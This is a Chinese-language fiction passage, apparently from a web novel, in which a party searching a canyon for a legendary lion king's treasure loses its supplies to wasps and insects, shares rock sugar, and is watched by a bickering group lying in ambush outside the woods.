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楼冰尽刚看见峡谷的时候异常兴奋,说自己就是来草原上找峡谷的,说双翼狮王阿克金传说中的宝藏就藏在一个峡谷中,不但不上去还非要进谷看看。罗影与楼冰尽在“离开”与“进去”的问题上争执许久,王城的追兵在罗影出手将楼冰尽打晕之前赶到,楼冰尽如愿进谷。 进谷之后,他们这一路上的麻烦正是开始,先是楼冰尽在渡河时弄丢了罗盘,再是他们与追兵互射的时候打下来一个蜂窝,险些两败俱伤。躲开野蜂之后,众人发现迷路已经丝毫不慌了——他们一路都在迷路,到现在已经习惯了,再说追兵已经被甩开了,他们此后便能从容找路了。 罗影用树枝做成新的箭支,与同袍打了不少野味,楼冰尽升火找野菜野果甚至香料,大家美美地吃了一顿喷香的烤肉,以为一切好起来了。不想入夜之后,他们埋骨头的地方吸引来了大批的虫蚁,是的,大批,虫蚁的数量之多出乎他们每一个人能想象的极限。如果说被人追杀他们还有点儿防备的话,那被虫蚁追就真的一点点防备都没有了。 一路慌乱的结果是,除了贴身的紧要物件不提,罗影他们只剩自己的武器,别的什么都没有了。 罗影安慰大家:“至少这一路我们人都没事,等会儿咱们削树枝做箭……”弓弩也遗失了,罗影顿住。 发现脚已经不疼了的楼冰尽从地上爬起来,又从身上摸出一个纸包,递到罗影面前:“吃糖吧,先吃点儿,天亮再说。” 纸包打开,是一块一块黄黄的冰糖,罗影捻了一块放入口中,甜蜜的味道带着强大的抚慰作用让他整个人缓和平静了下来。 楼冰尽也拿了一颗,将纸包托在手上递向其他人。 他们含着糖,互相搀扶着向树林外走去,楼冰尽的伤处也有些许肿胀未消,但并不耽误走路,只是走不快而已。 树林外,白阳来带着人埋伏在暗处,盯着林中闪烁的火光。 罗高川:“什么人会这种时候出现在这儿?” 隋得远:“咱们不就是吗。” 罗高川:“废话,难道那里头的也是咱们的人?” 唐竟民:“等会儿不就知道了,急什么。” 宋宁生:“你看他们火把做的不错啊,这么亮。” 罗高川:“你也是废话,大晚上的能不亮啊。” 隋得远:“你说的不是废话?” 唐竟民:“废话就是从你开始的。” 白阳来已经懒得让他们闭嘴了。